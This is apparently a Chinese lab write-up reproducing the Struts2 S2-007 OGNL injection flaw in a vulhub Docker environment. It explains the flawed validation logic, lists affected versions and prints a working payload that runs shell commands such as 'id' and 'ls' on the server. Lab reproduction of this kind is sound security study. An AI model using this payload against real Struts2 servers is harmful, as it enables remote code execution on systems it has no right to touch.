vulhub-struts2-s2-007
2021-06-14 13:51
921 查看
0x00 漏洞原理
当配置了验证规则
<ActionName>-validation.xml时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。例如这里有一个 UserAction:
(...) public class UserAction extends ActionSupport { private Integer age; private String name; private String email; (...)
然后配置有 UserAction-validation.xml:
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE validators PUBLIC "-//OpenSymphony Group//XWork Validator 1.0//EN" "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd"> <validators> <field name="age"> <field-validator type="int"> <param name="min">1</param> <param name="max">150</param> </field-validator> </field> </validators>
当用户提交 age 为字符串而非整形数值时,后端用代码拼接
"'" + value + "'"然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式
0x01 影响版本
Struts 2.0.0 - 2.2.3
0x02 漏洞复现
环境vulhub kali
修改docker-compose.yml中的映射端口
自动化编译环境
docker-compose build
启动整个环境
docker-compose up -d
0x03 exp
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
将id改为ls后插入如下
插入后因为执行结果直接返回到了输入框里,不好观察,可以通过burp 去观察 也可以通过查看源码观察
从图中我们可以看到返回了执行ls后的结果
相关文章推荐
- 墨者学院_Apache Struts2远程代码执行漏洞(S2-007)复现
- struts2 CVE-2012-0838 S2-007 Remote Code Execution && Hotfix
- Struts2新漏洞S2-046在线实验环境全球首发
- Struts2(s2-016)远程代码执行漏洞详细代码分析
- struts2 最新漏洞 S2
- Struts2 REST 插件 XStream 远程代码执行漏洞 S2-052 复现过程
- 【S2-053】Struts2远程命令执行漏洞(CVE-2017-12611)
- Struts2 S2-003
- Apache Struts2(S2-045)漏洞利用
- Struts2新漏洞S2-046在线实验环境全球首发
- Struts2高危远程代码执行(S2-037)漏洞及修复方案
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- Apache Struts2(S2-045)漏洞利用
- struts2升级到2.3.32版本,防止漏洞编号S2-045,CVE编号:cve-2017-5638
- Apache Struts2(S2-046)漏洞利用
- Struts2漏洞之S2-016漏洞分析与exp编写
- 【研究】Struts2漏洞之S2-001漏洞环境和POC
- Struts2 S2-057远程执行代码漏洞(CVE-2018-11776)
- s2-007远程代码执行漏洞
- Struts2再曝S2-021修复补丁高危漏洞s2-022,拦截不完的安全漏洞